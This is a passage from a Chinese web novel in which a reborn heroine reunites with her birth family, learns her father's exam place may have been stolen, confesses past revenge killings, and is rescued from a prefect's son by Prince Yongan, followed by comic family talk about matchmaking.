除了双鲤买的冰雪山楂蜜桃羹,还有冰雪冷元子、酸梅汤、绿豆汤之类的冰饮。
晏逐星没忘了给门外守着的九栀拿了一份。
她重新坐回了雅间里,看着家里人,手里拿着的勺子无意识地戳着面前的冰雪冷元子。
这和她想象的重逢场景有些不太一样。
“想什么呢?不好吃吗?”棠云麒看向她。
“不是,味道很好。”晏逐星摇了摇头。
“只是感觉这场景,好像和我想象的不太一样。”
她有些不好意思地笑了起来。
她原以为见面会很尴尬,会不知所措,不知道该说什么,大家坐在一起,除了抱头痛哭就没有别的事情可以做了。
她没想到会像现在这样和谐、融洽。
仿佛这十几年他们从未分离。
“你想象会是什么样?”棠云麒有些好奇。
晏逐星把自己想的场景说了出来,顺便又说了一下先前在文墨轩见到他们时的不可置信。
她忍不住试探:“我还以为你们会觉得我骄纵跋扈、心狠手辣呢……”
“怎么会!”方青鸾第一个否认。
“莫要胡思乱想,不管你是什么样,你都是我全世界最好最好的妹妹。”棠云麟温柔地看着她。
“就是!”棠云麒跟着点头。
棠风陵面露愧疚:“傻孩子,你知道爹爹听到他说他爹是知府时,我当时第一个想法是什么吗?”
晏逐星摇了摇头。
“我在想,是我这个当爹的太没用了。若我中举,入朝为官,官拜一品,他还敢那么嚣张地对你么?”
棠风陵说完长长地叹了一口气。
他苦笑着开口:“只可惜,我实在无用,三次科举,三次不中。蹉跎半生,至今还是一个穷秀才。”
“爹!”棠云麟脸色瞬间变得严肃,甚至还带上了一丝少见的怒意。
他豁然站起身,声音斩钉截铁,不容置疑:“我不许您这么说自己!”
他目光灼灼地直视着父亲。
“您饱读诗书,才华横溢,当年在乡里,谁人不知棠秀才的文章锦绣,见解独到。”
他语气激动,几乎是不假思索地冲口而出。
“就连曾在朝中高居吏部尚书的三品大员章老大人,也曾亲口赞过您的策论切中时弊,文采斐然!您怎么可能无用?您只是、只是时运不济罢了……”
说到最后,他也替父亲感到深深的惋惜。
“三品大员?吏部尚书?”晏逐星敏锐地捕捉到了这个异常显赫的身份,心中疑窦更生,追问道,“是哪位大人?”
棠风陵的神色瞬间黯淡下来。
他低声道:“是当年书院的山长,致仕归乡的章老大人。他老人家念我几分勤勉,在书院时曾悉心指点过我一段时日。只可惜,后来因病仙逝了。”
他顿了顿,语气更加苦涩。
“若他老人家泉下有知,知晓我连录科考都未能通过,怕是要对我失望透顶了。”
录科考?
晏逐星的眉头锁得更紧了。
大虞科举制度严明。
秀才若想参加决定举人功名的乡试,必须先通过“录科考”,只有考完成绩位列一等和二等的生员,才能获得宝贵的乡试资格。
能让一位曾经执掌天下官员铨选、阅人无数的吏部尚书亲口称赞“切中时弊,文采斐然”的策论。
怎么可能连区区一个录科考都通不过?
一个极其荒谬却又无比清晰的念头,从脑海里冒了出来。
她脱口而出:“会不会是父亲的功名,被人顶替了?”
毕竟青州府治下的临清都能弄出搏命窟这样黑暗的地方,那科考呢,真的会干净吗?
棠家人都愣住了。
第一个反应过来的棠云麒愤怒地攥紧了拳头:“这群混账!!!我就说阿爹那么厉害,怎么可能考不上。”
“欺人太甚!!!”棠云麟也怒了。
方青鸾呆呆地看向了棠风陵:“夫君,所以决意不再赴考。是不是也早已察觉了这其中蹊跷?”
在妻子洞悉一切的目光和儿女们关切的眼神注视下。
棠风陵艰难地点了点头。
他哑着嗓子开口:“其实第二次落第时,看到那荒谬的评审结果,我就隐隐有所预感了。”
“但我不甘心,我不信命,更不愿辜负你,还有族人的期望。所以,我去了第三次。”
“第三次结果出来之后,我就知道我的路或许就到此为止了。若再执意考下去,只会让你更加辛苦。”
他看向方青鸾,眼神里是浓得化不开的心疼与愧疚。
“我……舍不得。”
他的曾祖父,是棠家村唯一的秀才。
曾祖父临终前最大的执念便是期盼后世子孙能出一个举人,光耀门楣,真正改换门庭。
只可惜,祖父和父亲都不是读书的料,考不上就算了,还把曾祖父辛苦积攒下的微薄家产都给败光了。
到了他这一代,终于显露出了读书的天分。
全家乃至全村都为之欢天喜地。
族人们铆足了劲,东拼西凑将他送进了学堂。
全家的希望,全村的期盼,都压在了他身上。
他天资聪颖,十一岁便考中童生,十四岁高中秀才,成了青州府最年轻的秀才。
那时的他,意气风发,仿佛举人功名唾手可得,完成家族的夙愿指日可待。
然而,命运弄人。
第278章 爹娘的过往
棠风陵主动说起了过去的事情。
“考上童生那年,我才十一岁。你们祖父高兴坏了,拍着我的肩膀说‘哈哈哈哈哈,我儿真有出息!’,那笑声,整个村的人都听得见。”
棠云麒听到这,忍不住接话:“爹比二弟厉害,二弟十六岁才考上童生呢。”
棠云麟:“……”
他那是因为东躲西藏,没敢提前考好么!
棠风陵心头的那点沉痛,被儿子一打岔,减轻了不少。
他叹了一口气,尽量让自己的声音听起来变得平静些:“可他那欢喜劲儿还没过呢,人就倒下了,再没起来。后来,就剩你们祖母和我相依为命了。”
一句话,让棠家几个孩子都沉默了。
这是他们第一次听到父亲的过往。
棠风陵继续说了下去:“你们祖母身子骨本来就弱,为了我真是榨干了最后一点力气。”
“白天给人缝补浆洗,一个铜板一个铜板地攒,夜里就着豆大的油灯纺线,手指头磨得都是血口子。节衣缩食,就为了……为了供我去青州府学念书,好考那秀才。”
“可是在府城,一个大小伙子,就算啃最硬的杂粮饼子,睡最破的大通铺,一年下来,没个十五六两银子也打不住。笔墨纸砚金贵得吓人,写篇文章的纸钱,够买半斗糙米了。”
“好不容易,省吃俭用,我十四岁那年考上了秀才。我以为总算能让她喘口气,过两天好日子了。”
说到这,他猛地吸了口气,眼圈红了。
“可老天爷不开眼,不给人活路。”
“喜报才到没几天,你们祖母就跟着去了……”
棠家几个孩子也跟着红了眼眶。
原来,父亲当年过得那么辛苦。
晏逐星攥紧了拳头。
这真是麻绳专挑细处断,厄运专找苦命人。
方青鸾没说话,只是无声地握紧了他的手。
棠风陵侧头对她扯出一个有点发苦的笑,他声音哑哑的。
“就那么几年功夫,爹娘都没了,就剩我一个。”
“村里的老叔伯们看不过眼,祠堂里商量了又商量。拿出了族里最后压箱底的三两碎银子。”
“老族长挨家挨户去敲门,好话说尽,东拼西凑,好不容易才凑够了五两银子。就指望着我能去府城考那科试,搏个乡试的资格,考上举人,给村里争口气。”
“五两银子啊……”他语气沉重。
“听着是不多,可那是全村勒紧了裤腰带,从牙缝里抠出来的。”
“光是去请城里请人作保画押,一人就得塞二百文。剩下的银子还得管我往返府城近十天的脚程,就算住最便宜的大车店,啃最硬的干粮,那也还有考场里头那些小鬼难缠需要打点,处处都是花钱的地方。”
“结果我第一次考科试,就失败了。”棠风陵苦笑一声,带着浓浓的嘲弄,“那五两银子就这样白白打了水漂。”
“我不甘心。那时候才十五岁,总觉得还有机会。族里长辈看我那样,心疼又无奈。老族长蹲在祠堂门槛上抽了一宿旱烟,第二天红着眼睛,又厚着脸皮去求了几家日子稍宽裕的,好说歹说,才又借来了三两银子,嘱咐我一定要好好考。考个举人回来,报答村里人。”
“可老天爷像是专跟我作对!”他的语气里带上了一丝不易察觉的愤懑。
“三年后,我揣着那借来的三两银子,省了又省,再去考科试。还是铩羽而归,连乡试的资格都没拿到。”
他闭上了眼睛。
说不下去了。
村里本就不富裕,为了他两次折腾,前前后后八两银子没了踪影。
大家伙看他的眼神,也就从期待变成了失望,甚至还有点埋怨。
谁家日子都不好过,凭啥为了他个没指望的功名,把家底都掏空?
族老们把他叫去祠堂,话都说透了。
让他认命吧。
村里实在供不起了。
让他去当个教书先生,安安稳稳的,每月也能挣几百文钱,这样可以早点把大家伙的钱给还上。
他能说什么呢,他只能答应了。
他心里憋屈得要死。
明明他的文章不差,怎么就过不了?
他总觉得这里面有猫腻,可他一无权二无势,只是个穷秀才,能上哪儿说理,能找谁告状?
他连给衙门师爷递状子的润笔钱都拿不出来。
“后来呢?”晏逐星忍不住开口询问。
爹爹不是说考了三回么,这才第二回。
棠风陵自嘲一笑:“那会儿真是万念俱灰。觉得活着都没意思了,白糟蹋了爹娘的苦心,白费了族人那沉甸甸的八两血汗钱。有天晚上,浑浑噩噩走到河边……”
他顿了顿,眼神复杂地看向方青鸾。
“是你们阿娘。”他声音柔和下来,“她那天正好从山上打猎回来晚了,在河边洗脸,瞧见我失魂落魄地往水深的地方走。二话不说,一个猛子扎下去就把我捞上来了。”
“她对着我劈头盖脸就是一顿骂。”
“棠风陵!你个书呆子,寻死觅活给谁看?你对得起你爹娘,对得起村里老少给你凑的八两银子吗?”
方青鸾听到这儿,哼了一声,接口道:“可不是!那时候我猎到一张完好的狐皮,送去镇上给货商,顶了天也就卖二两银子。你这条命,值好几张狐皮呢。”
她的语气虽是嗔怪,但却带着后怕和不易察觉的心疼。
棠风陵也不恼,反而笑了:“是是是,夫人骂得对,我的命是好几张好皮子换回来的。”
他看向几个孩子,继续道:“你们阿娘不是咱村的人,是跟着她祖父祖母逃荒过来的猎户,落了户。她家中长辈前两年也走了,就剩她一个。她性子风风火火,比男人还能吃苦。”
“她救了我之后,我便对她上了心。只可惜,我家境贫寒,还背了债,不敢同她表明心意,打算等还了债,她若还未嫁人,我就去提亲。”
棠家的孩子都是第一次听到爹娘相爱的往事,都好奇不已,但又不好意思追问,只能用眼神催促父亲继续说下去。
“是么,那那个富商的女儿怎么说?”方青鸾幽幽地瞥了夫君一眼。
第279章 颠覆了想象
棠家三兄妹听到这话,眼睛亮了起来,愈发好奇了。
“什么富商的女儿?”胆子最大的棠云麒忍不住开口了。
棠风陵被夫人提起这事,顿时有些害臊,但还是解释了起来。
“那时候,附近乡里有个开脂粉铺子的富户,不知怎么听说了我这个神童秀才,托人传话,说愿意招我做女婿,不但供我读书,还许诺每年给我二十两银子花用。”
“我发誓,我可是连他女儿的面都没见过。我虽落魄,也不愿为了那二十两银子的前程去攀附他们,更不愿看人脸色过日子。”
他目光转向方青鸾,带着些许回忆:“我更欣赏当时那个浑身湿漉漉,叉着腰在河边把我骂得狗血淋头的姑娘。什么富家小姐,什么一年二十两银子,都比不上你。”
棠家三兄妹齐刷刷地看向了方青鸾。
他们想象中娘亲害羞的模样并没有出现。
方青鸾脸上露出了一丝小得意:“这还差不多。”
“然后呢,然后呢?爹拒绝了富户的千金,那怎么娶到阿娘的?”棠云麒急得不行。
“是我找上他的。”方青鸾大大方方地开口了。
这话又一次颠覆了几个孩子的想象。
爹娘的婚事,竟然是娘亲主动的么?
方青鸾笑眯眯道:“你们的曾祖父曾经说过,读书人最有出息了。他就想让我以后嫁个读书人。那会儿救了你们阿爹之后,我琢磨着,他虽然身子骨弱了些,也没什么银钱,但他长得好看,又会读书。和他生出来的孩子肯定好看又有出息。”
一句话让几个孩子都笑出了声。
棠风陵的脸上则泛起了一片红晕。
夫人好美色一事,他是知晓的。
他无比庆幸自己长相还算过得去,不然夫人恐怕早早就嫁给别人了。
“后来我俩擦肩而过,我发现他总是偷看我,还隔三差五把山里摘的野果子偷偷送到我家里。我就觉得他肯定也心悦于我。”方青鸾瞥了夫君一眼,发现他耳根子都红了,笑容更灿烂了。
“但他迟迟不说,我就主动找上他。”
“我和他说,不就是考举人么,我供他就是了。我一人吃饱全家不饿,我就不信供他读书的钱,我靠这双手还挣不出来了!”
“可他偏偏死犟,非要说等还了债再提亲。”
“那得等多少年啊?”棠云麒掰着手指头数了起来。
就阿爹那肩不能挑、手不能提的身子骨,要还债就只能教书、抄书了。
那岂不是要把阿娘熬成老姑娘?
“没等多久,我和他说完第二个月就来提亲了。”方青鸾像是想到了什么好笑的事情,唇角上翘。
“阿爹暴富了吗?”一直没说话淡定听着的棠云麟也忍不住开口了。
棠风陵抿着唇,不好意思提起那件事。
实在是有些丢人。
方青鸾憋着笑道:“他去镇上教书时,被一个富家公子哥给撞了一下,他那会儿熬夜给人抄书抄得脸色发白,一撞就撞翻在地。”
“人家见他脸色白得比鬼还吓人,以为把他撞得快死了,赶紧扔了张十两的银票就走了。”
“他还了族里八两银子,剩下的银子用来向我提亲了。”
棠家三兄妹:“……”
这个转折真是让他们万万没想到。
棠风陵将拳头放到唇边,轻咳了两声:“咳咳。总之呢,后来是你们阿娘供我去考了第三回。但不出意外的,还是没过。”
“我决定认命了,就在村子里当个教书先生,安安分分,拿那几百文铜板糊口,也……挺好。”
“挺好”两个字,他说得轻飘飘的,像羽毛落地,砸在听者的心上却是沉甸甸的。
晏逐星坐在一旁,心中又酸又涩,还翻滚着一种难以言喻的愤怒。
看着阿爹带着失落、遗憾、不甘的眼神,她心里的愤怒一瞬间达到了顶峰。
如果当年阿爹的功名没有被人顶替,如果他能堂堂正正地去参加乡试。
或许,他们的命运就会得到扭转。
阿爹不再只是村子里的一个教书先生,他可以实现祖父祖母的夙愿,告慰他们在天之灵。
阿娘也不必再为了那昂贵的束脩和考费,年复一年的深入险地,与猛兽周旋,在生死边缘搏命。
她一字一句道:“阿爹,你放心,此事我会想办法还你一个公道。若你当年真被人顶替了,我一定会让那些人付出代价。”
棠风陵听到这话顿时变了脸色,眼里满是急切、
“婋婋,你莫要冲动。我和你娘只希望你好好的活着,不必替我去讨什么公道。”
“讨公道是我们大人的事,你一个孩子,安心活着就行。”方青鸾也跟着开口。
她眼里闪过一抹愤恨。
夫君壮志未酬多年,全是被奸人所害,她哪里咽得下这口气。
若是查清了是谁干的,她一定要悄悄溜过去,杀了那人,给夫君报仇。
不管那人的地位有多高,她都会说到做到。
就像世人畏惧山中的猛虎,她不也成功杀掉了么。
晏逐星鼻腔瞬间有些发酸。
这就是亲人么。
听到你要为他伸张正义,第一反应不是高兴,而是担心你的安危。
她不用羡慕别人了。
她有世界上最好的爹娘。
“爹、娘,你们不必担忧。如今我已经不是棠家村那个任人欺负的棠云婋了。我如今是皇上亲封的令嘉县主。”晏逐星握住了他们二人的手。
“我会保护你们的,就像小时候你们护着我那样。”
一句简简单单的话直接让棠风陵夫妻二人流下了眼泪。
女儿长大了呀。
在他们看不见的地方,长成了一个顶顶好的姑娘。
最终心里的千言万语,只化作了一声:“婋婋长大了呀……”
方青鸾擦掉眼泪,迫不及待地想知道女儿的事情:“只顾着说我们的事情了,你也说说你的事情呗。你这些年,过得如何?你是怎么成了侯府嫡女,又变成如今的令嘉县主的?”
晏逐星有些疑惑,大哥难道没把她的事情告诉爹娘么?
第280章 试探再试探
棠云麒对上妹妹疑惑的眼光,解释道:“我只说了秦王妃的事情……”
他轻轻拍了拍晏逐星的肩膀:“你这些年真正经历的事情,还是由你亲口告诉爹娘和二弟最好。”
婋婋这些年的经历,若是由他转述,那些话终究隔了一层,冷冰冰的。爹娘和二弟怕是难以真正触碰到她心里的苦。
就是得让她自己说出来,用她自己的声音,让他们亲耳听到,他们才能真正明白,婋婋在侯府那些年过的根本不是什么千金小姐的日子。
“我们问了你大哥好多回,他都不肯说。”方青鸾瞪了长子一眼,“只说一切等见到你就清楚了。”
晏逐星略一思索就明白大哥这么做的意思,她点了点头,露出了浅浅的笑意。
“无妨,我来告诉你们吧。”
她要把爹娘接到京城接到自己身边,就要把她经历过的事情告诉他们。
不然日后遇上仇人,家里人不知情,还不知道会遇上什么危险呢。
于是她把自己被温如霜拐走之后的事情一一说了出来。
“小时候她一直对我说,若不是当时看我可怜把我捡回府从而忽视了晏明月,晏明月也不会丢。是我霸占了晏明月侯府小姐的位置。”
“她救了我,要我对她感恩戴德。没有她,我过不了这样享福的千金小姐的生活。”
她已经很久没有想起当年的事情了,现在回忆起来,原本以为会记一辈子的恨意,在报仇成功后,都变得有些模糊了。
她只记得在温如霜日复一日的洗脑下,她对素未谋面的晏明月产生了愧疚之情。
于是她拼命学各种千金小姐该学的东西,想着她若变得更优秀,温如霜会不会就更喜欢她一点了。
晏明远和晏明修两人,一开始对她倒是挺好的。只是晏明月回来之后,一切都变了。
他们也认同了温如霜的说法,如果不是她,晏明月就不会丢,而她就是个祸害。
晏明月回侯府后,温如霜也不允许他们再靠近她。
有时候他们对她好一点,晏明月就会哭闹,说她在外边过得多么惨。还总是当面假装被她欺负,让晏明远二人越来越讨厌她。
那些把戏,当初的她确实看不明白。
如今重活了一世,才发现那些手段有多拙劣。
听到她说侯府下人欺辱她时,棠家人都愤怒不已,那些人竟然想给女儿下药,让她嫁给傻子,毁她名声。
还有那什么福安郡主,只因为一点小事就要把女儿烧死?
桩桩件件,都骇人听闻,令人发指。
若不是婋婋机灵,恐怕早就被害死在那吃人不吐骨头的地方了。
晏逐星没有直接把自己杀人的事情说出来,她想要试探他们到底能接受她到什么样的程度。
如果他们想要一个乖巧听话的女儿,那她就永远把自己的狠辣手段藏起来,当他们心里的好孩子。
如果他们能接受她做的那些事情,那她从今往后都不会隐瞒他们。
“这些人……当真是可恶至极!该杀!”棠风陵猛地一掌拍在桌案上,震得茶碗叮当作响。
他胸膛剧烈起伏着,那双平日里温和甚至带着点认命疲惫的眼睛,此刻被熊熊怒火烧得通红。
如今,他心中只有一个念头。
他要再赴科场,他一定要考上举人,他要堂堂正正地踏入朝堂,穿上那身官袍。
不为别的,就为了女儿。
他要给她撑起一片天,一片让那些魑魅魍魉再不敢欺辱她的天。
他要让那些高高在上、视人命如草芥的权贵知道,他棠风陵的女儿,有人护着!
他这辈子,绝不能再做那任人揉圆搓扁的软柿子。
为了婋婋,他这把老骨头,也得再硬气一回!
“郡主又如何,等去了京城,阿娘亲自给你报仇。”方青鸾眼神中也带着一丝决然。
大人物有大人物的手段,天塌下来也能拿金山银山去顶。
可她这样在山里滚了一辈子泥、从狼嘴里抢食的小人物,自然也懂些让贵人硌掉牙还找不到牙根儿在哪儿的土法子。
棠云麒和棠云麟也直勾勾地看着她。
棠云麒拍了拍她的肩膀:“大哥交友广泛,大虞处处都有朋友,你放心,大哥一定会想办法替你报仇,不会让你白白受委屈。”
棠云麟也下定了决心:“爹,明年我要下场考试。我要入朝为官,我要给婋婋撑腰。”
棠风陵斜了他一眼:“有我这个当爹的在呢,轮不着你。”
“那又如何。反正咱们同时下场,您若没考上,还有我呢。”棠云麟分析得头头是道,“若是都考上了,父子同朝为官有何不可?”
棠风陵急了:“还没考呢,你就咒你爹考不上了?”
原本有些沉重的气氛,一瞬间就变得有些好笑了起来。
晏逐星心底暖暖的。
她重生一次,最开始,除了双鲤她谁也不相信。
可一路走来,她身边值得信赖的人也渐渐变多。
但她还是没改掉那小心谨慎的性子,遇见什么事情,总是想试探再试探。
她吸了吸鼻子,看向了争论的家里人,一字一句道:“不必了,我更喜欢有仇就报。”
“嗯?”棠家人有些不解地看着她。
“福安郡主,死了。我杀的。”
棠家人:“?”
“朝华长公主,也死了。还是我杀的。”
棠家人:“??”
“驸马李兰亭,也死了,我送他们一家团聚了。”
棠家人:“???”
四人你看我一眼,我看你一眼,都看到了眼里的不可置信。
他们是耳朵出什么问题了吗?
第281章 图的是什么
“我有在跟烈国公习武,如今自保和杀人不成问题。”晏逐星将自己会武功的事情推给了烈国公。
她想了想,还是没把谢翊宁帮忙的事情给说出来。
她的家里人,为了她,一定会把这些事情守口如瓶。但如果牵扯到了谢翊宁,总归是不太好。
家里人只要知道,永安王帮了她很多就可以了,这种小细节就不必完全告诉他们了。
“我如今能当上县主,多亏了永安王和皇后娘娘。他们是天底下最好的人了。”她把永安王和皇后替她解围过的事情都说了出来。
“谢天谢地,咱们婋婋运气好,遇上了永安王这样的好人。”方青鸾双手合十,连连感慨。
棠云麒和棠云麟也忍不住点头:“我还以为那些权贵都是坏人呢,不曾想,永安王竟然这么好。日后咱们可得好好报答人家。”
唯有棠风陵身为老父亲,敏锐地觉得有些不对劲。
永安王好端端的怎么对女儿这么好,他图的是什么?
他当即把自己的疑惑问了出来。
“因为我救过他一命。”晏逐星不好把永安王命格已改的事情告诉家里人。
毕竟王爷说了,这个秘密只有帝后和国师还有她知道。
她编了一个借口,说得像模像样的:“有一回永安王被人追杀,倒在了侯府后边,我悄悄救了他,所以他对我心怀感激。”
“永安王可真是一个知恩图报的好人啊。”这下棠风陵也没有怀疑了。
“只可惜,这样好的人,竟然活不过二十岁。”棠云麒忍不住感慨。
“永安王活不过二十”的预言早已传遍大江南北。
因为帝后一直在寻找破解的办法,所以全国上下都知道这事。
“我决定了,以后每日睡觉之前,都去给菩萨上炷香,让他保佑永安王这样的好人,长命百岁。”方青鸾郑重开口。
这些年,她每夜都会给菩萨上香,希望菩萨保佑他们全家早日团圆。
如今她真的找到女儿一家团圆了,想必日后夜夜为永安王祈祷,永安王应该也能长命百岁吧?
因此,谢翊宁还没见到棠家人,就通过晏逐星的一番夸奖成为了棠家人如今最感激的人。
一家人分别十几年,有说不完的话。
他们还要说话,茶楼底下就传来了一阵骚动。
一群衙役将茶楼给包围了。
先是桌椅被粗暴掀翻的巨响,紧接着是杯盘落地碎裂的刺耳声音,夹杂着掌柜惊恐的哀求和小二慌乱的尖叫。
“官爷!官爷息怒啊!”
但他们的求饶没有换来任何的怜惜。
“滚开!知府衙门拿人,谁敢阻拦?!”一声怒喝之后,沉重的脚步声迅速从楼梯口席卷上来。
棠风陵和方青鸾几乎是同时变了脸色,猛地站起身。
不等他们冲到窗边查看,雅间的门就被粗暴地踹开了。
门口,一群如狼似虎的府衙差役已凶神恶煞地堵了个严严实实。
为首的正是邢文琅。
他死死盯着晏逐星,那目光,恨不得将她生吞活剥。
他抬手指向晏逐星,手指都在颤抖:“你这贱婢!打了本公子,以为躲在这破茶楼里就没事了?做梦!”
晏逐星有些无语了。
邢大人怎么有这么一个长了猪脑子的儿子?
她先前说的那番话,邢文琅怎么都该去找他爹问一声吧,结果竟然直接去府衙调人来了?
好在她未雨绸缪,提前让九栀去请了秦朔。
为的就是防止这个邢文琅犯蠢,不找知府邢大人,而是想要私下拿人。
秦朔乃是隐麟卫指挥使,是天子近臣,朝中谁也不敢轻易得罪。
邢大人就算不把她放眼里,也绝不敢忽视秦朔。
算算时间,秦朔应该快来了。
棠家人将她挡在了最后,方青鸾更是抄起了椅子,紧张地盯着面前的这些衙役。
他们若敢上前动她的家人,她就要让他们付出代价。
晏逐星却不慌不忙地从后边走了出来,淡定地掏出了自己的令牌。
“见到本县主,不下跪行礼,该当何罪?!”
这突如其来的变故,让凶神恶煞的衙役们动作猛地停住。
县主?
好像是听大人说过,今日青州来了一位令嘉县主,是绝对不能得罪的。
“县……县主?!”邢文琅脸上闪过一丝难以置信的惊骇。
若面前这个嚣张的女人是县主,那她先前的狂妄就说得通了。
可这样的话,他先前的脸不就白丢了吗?
他死死盯着那枚令牌,眼神从最初的震惊变成了质疑。
“不可能!你这贱婢好大的狗胆!竟敢伪造皇家令牌,冒充县主?!这可是诛九族的大罪!”
他猛地一挥手,朝着身后的衙役厉声嘶吼:“给我拿下这个不知死活、以下犯上的贱人,将她锁回府衙大牢。本公子要让她知道知道,在这青州府的地界上,得罪我邢文琅是什么下场!”
可他的话,却没有喊动任何一个衙役。
他不可思议地回头,想要斥责这群不听话的废物,结果刚一转身,就看到一个茶盏冲他飞了过来。
剧痛炸开。
他眼前发黑,口喷鲜血,几颗碎牙混着血沫飞出,嘴唇瞬间肿如腊肠,鲜血直流。
一片锋利碎瓷“嗤啦”一声在他左颊划开了一道血口子。
他踉跄撞墙,捂脸痛嚎,满手是血和碎牙,惊骇欲绝。
衙役们震惊地看了过去。
谁那么大的胆子,竟然敢打伤知府大人的爱子。
同时又不由替自己担心了起来,完了,大人会不会怪罪他们没有保护好少爷?
晏逐星看见谢翊宁,一愣。
她不是让九栀请的秦大人么,怎么还惊动了王爷。
“本王待会要好好问问,邢天海是怎么生出你这么一个蠢货的。”谢翊宁冷冷地看着在地上哀嚎的邢文琅。
听到他主动报出了身份,晏逐星当机立断地行礼:“臣女见过永安王。”
棠家人见状也赶忙跟着行礼。
“永安王”三个字一出现,在场的人都惊呆了。
这样的大人物,怎么会出现在青州。
跟着邢文琅过来拿人的衙役头头瞧见了谢翊宁身后的秦朔,膝盖一软,当即跪了下来。
他虽然不认识永安王,但他见过秦朔啊。
那位指挥使大人,可是知府大人都要讨好巴结的人物。
他都恭恭敬敬地跟着的人,肯定是大人物无疑了。
“小的见过永安王,见过指挥使大人。”他哆哆嗦嗦地开口。
“见到县主不按礼制跪拜行礼,乃是大不敬。县主亮明身份后仍拒不停手,还下令攻击,更是罪加一等。”谢翊宁慢悠悠地开口。
“秦朔,你知道该怎么做的吧?”
“是,下官明白。”秦朔当即挥手,让人将邢文琅像拖死狗一样地拖走。
那些衙役瑟瑟发抖,一个都不敢替邢文琅求情。
从谢翊宁带人前来亮明身份后,众人大气都不敢喘。
棠家人也不例外。
不曾想,谢翊宁却客客气气地走了过来,将他们搀扶了起来。
“是本王来迟了,让诸位受惊了。”
“没有没有。”棠家人连连摇头,没想到永安王竟然这般平易近人。
真不愧是女儿口中的大好人啊!
方青鸾近距离瞧见了谢翊宁的脸之后,暗暗决定以后每夜给菩萨上香许愿时,得把早上的也加上。
永安王这样俊俏又善良的人,必须得长命百岁才行。
第282章 棠家的女婿
“王爷您怎么来了?”见谢翊宁把茶楼的人都清空了,晏逐星压低声音询问。
“为何找秦朔不找本王?”谢翊宁反问。
晏逐星赶忙解释:“我以为您不想暴露身份呢。”
“无妨,如今暴露了也不怕。”谢翊宁十分淡定。
他这么说,晏逐星也就放心了。
见两人站在不远处窃窃私语,棠家人总觉得这场面似乎有些不妥当。
但碍于永安王的身份,和晏逐星脸上的淡定自若,他们又觉得若是开口干涉,未免太小题大做。
唯有方青鸾看得津津有味。
“夫君,你觉不觉得咱们婋婋和永安王站一块,男俊女美,看着跟一幅画似的,让人看着就舒服。这是不是你说的什么……赏什么眼什么……”
她扭头看向了夫君。
棠风陵接话:“赏心悦目。”
“对!就是这个词!”方青鸾重重点头,“看起来真般配啊。这永安王要是成了咱们棠家的女婿……”
她的话还没说完,直接被棠风陵父子给打断了。
棠风陵:“夫人慎言。”
棠云麒:“阿娘莫要胡说。”
棠云麟:“阿娘这怎么行?”
虽然他们觉得婋婋是天底下最好的姑娘,但永安王身份尊贵,怎么可能娶婋婋当王妃。
让婋婋当什么侧妃,他们可不愿意。
说破天了,侧妃也是妾。
“这怎么不行了?”方青鸾没好气地看着三人。
她看到永安王的第一眼,就觉得这俊美少年特别适合给她当女婿。
她的婋婋,值得全天下最好的男子。
目前她见过的儿郎里,永安王的长相那就是最好的一个。
而且从婋婋说过的那些事情里,也看得出来永安王和其他勋贵不同,善良、正直、负责、恩怨分明,是个很好的人。
再听婋婋说的那些事。
永安王为了报答她的救命之恩,先送了一万两银子,又帮她要了县主的封赏。
这多好啊!
有钱的男人很多,但有钱还舍得给你花钱的男人可不多。
这样好的男人,万里挑一。
错过那可是要遗憾终身的。
再看看女儿和永安王的长相,两人站在一起,谁不说一句般配。
她已经畅想到以后两人若是生了孩子有多么好看了。
到时候,她可得把小外孙抱出去炫耀,让人瞧瞧她方青鸾的外孙多可爱。
棠风陵深知妻子脾性,无奈道:“夫人呐,这择婿岂能单看一副皮囊?”
“谁说我只看皮囊了?”方青鸾柳眉一挑,毫不客气地反驳,“人家永安王除了样貌好,品性也不差呀。方才那惩奸除恶的威风,你没瞧见?端的是英俊潇洒、气宇轩昂、英武不凡!”
棠风陵:“……”
夫人这些年旁的没学会,但夸人的词倒是记得一套又一套的。
她越说越觉得有道理:“你且想想,寻个俊俏郎君,便是拌了嘴,瞧着那张脸,气也能消三分。若摊上个容貌丑陋的,再生个丑孩儿,日日相对,岂不是要怄得心口疼?”
说完她又看向了棠云麒兄弟二人。
“你们最该感谢的就是我这个娘亲。若不是我给你们找了这么一个模样俊朗的爹,你们能长成这副好模样么?”
棠云麒兄弟:“……”
娘说得好有道理,他们竟无法反驳。
棠风陵正高兴夫人夸他了,但隐约又觉得有些不是滋味。
怎么夸永安王的时候那四字的成语一个接一个,到他就只有“俊朗”二字了?
想到这,他猛地反应过来,自己怎么被夫人的歪理邪说带跑偏了。
他压低声音道:“我不是说永安王不好,是他太好了。咱家和皇家,哪里能当得了姻亲。难道你想让婋婋去当妾?”
“那绝不可能。”方青鸾斩钉截铁。
夫君这话倒是让她有些动摇了,可她还是觉得女儿和永安王最般配。
就这样放走一个这么好的女婿,她舍不得。
“可咱们婋婋现在不是县主么,身份上,也没有那么差吧……”
说起家境,她有些不自信了。
不过想到当初她一个无父无母的孤儿,还是猎户出身,识得的字少之又少,还不是嫁给了棠风陵这个饱读诗书的秀才。
婋婋怎么就嫁不了永安王了。
身份差,那他们就努力弥补差距。
她眉心一拧,板着脸盯着夫君道:“你明年必须下场科举,不管怎么样,都要考个官当当。”
有了官身,就和白身不同了。
反正婋婋还有两个月才及笄,婚事不急于这一时。
不等夫君回答,她又看向棠云麒和棠云麟。
“你们也去考。”
棠云麒弱弱道:“娘,我读书比不上二弟,我恐怕考不上。”
“不是可以考武举人么。”方青鸾横了他一眼。
“若不是女子不能考武举人,你以为我会指望你么,老娘当然自己上了。”
棠云麒:“……”
一对一打,他还真打不过阿娘。
没办法方家天生力气大这事,传女不传男。
他和二弟都没继承娘亲这力大无穷的天赋,只有婋婋继承了。
“可万一婋婋不喜欢永安王怎么办?”他转移了话题。
“你懂什么。”方青鸾横了长子一眼。
“婋婋怎么可能不喜欢永安王。你听她和我们说的那些事情里,她提起永安王时候的语气和旁人的语气,一样么?就算是不喜欢,她对永安王总归是有几分特别的感情在的。”
棠云麒正欲反驳,就听到娘亲又道:“算了,我和你一个二十了还没娶妻的人有什么可说的。你都还没开窍,婋婋还小,更不可能了。”
棠云麒:“……”
扎心了娘。
他是亲生的吗,他捡来的吧?
棠云麟最理智,他提出了另一个更严肃的问题。
第283章 不必早成婚
“可国师不是说永安王活不过二十么,婋婋若是嫁过去,日后得多伤心啊。”
他把声音压得低得不能再低了,生怕被外边的人听到。
他这一说,方青鸾才想起了这件最重要的事情。
家境身份地位这种东西,努努力还有希望。
但唯独这件事,只能听天由命。
若是寻常人,夫君死了还能再嫁,但是如果成了永安王的王妃,永安王不在了,婋婋是绝对不可能再嫁他人的。
